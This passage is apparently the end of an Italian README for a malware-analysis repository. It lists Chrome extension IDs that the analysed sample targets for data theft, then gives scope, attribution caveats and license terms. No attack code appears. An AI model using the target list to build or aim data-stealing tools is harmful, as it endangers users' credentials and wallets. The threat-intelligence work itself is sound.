oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp
olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk
omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip
Ambito e limitazioni
- Questo repository documenta l'analisi statica e la decriptazione di un singolo campione di malware e della sua configurazione incorporata.
- L'attribuzione della campagna è analitica, basata sull'infrastruttura recuperata e sulla sovrapposizione di TTP; non è una dichiarazione di attribuzione da parte delle forze dell'ordine.
- Gli ID delle estensioni Chrome elencati identificano estensioni legittime prese di mira per il furto di dati, non estensioni dannose.
- Le regole di rilevamento dovrebbero essere validate e ottimizzate nell'ambiente di destinazione prima del deployment in produzione.
- Il bundle STIX segue STIX 2.1 ma utilizza ID semplificati per la leggibilità; rigenerare gli UUID prima di importare in piattaforme CTI di produzione se è necessario evitare conflitti.
Cronologia delle versioni
Vedere CHANGELOG.md per gli aggiornamenti con versioni.
Come contribuire
Vedere CONTRIBUTING.md per linee guida, template di issue e la checklist per le pull request.
Licenza
I testi di analisi e gli script sono rilasciati sotto la licenza MIT. Le liste di IOC e i contenuti di threat intelligence sono forniti a scopo difensivo; il riutilizzo in prodotti commerciali è consentito secondo i termini della licenza.
Reverse engineering indipendente in un ambiente sandbox. La configurazione crittografata è stata recuperata tramite analisi statica ed emulazione CPU per-helper. Vedere scripts/decrypt_all.py e SECURITY.md.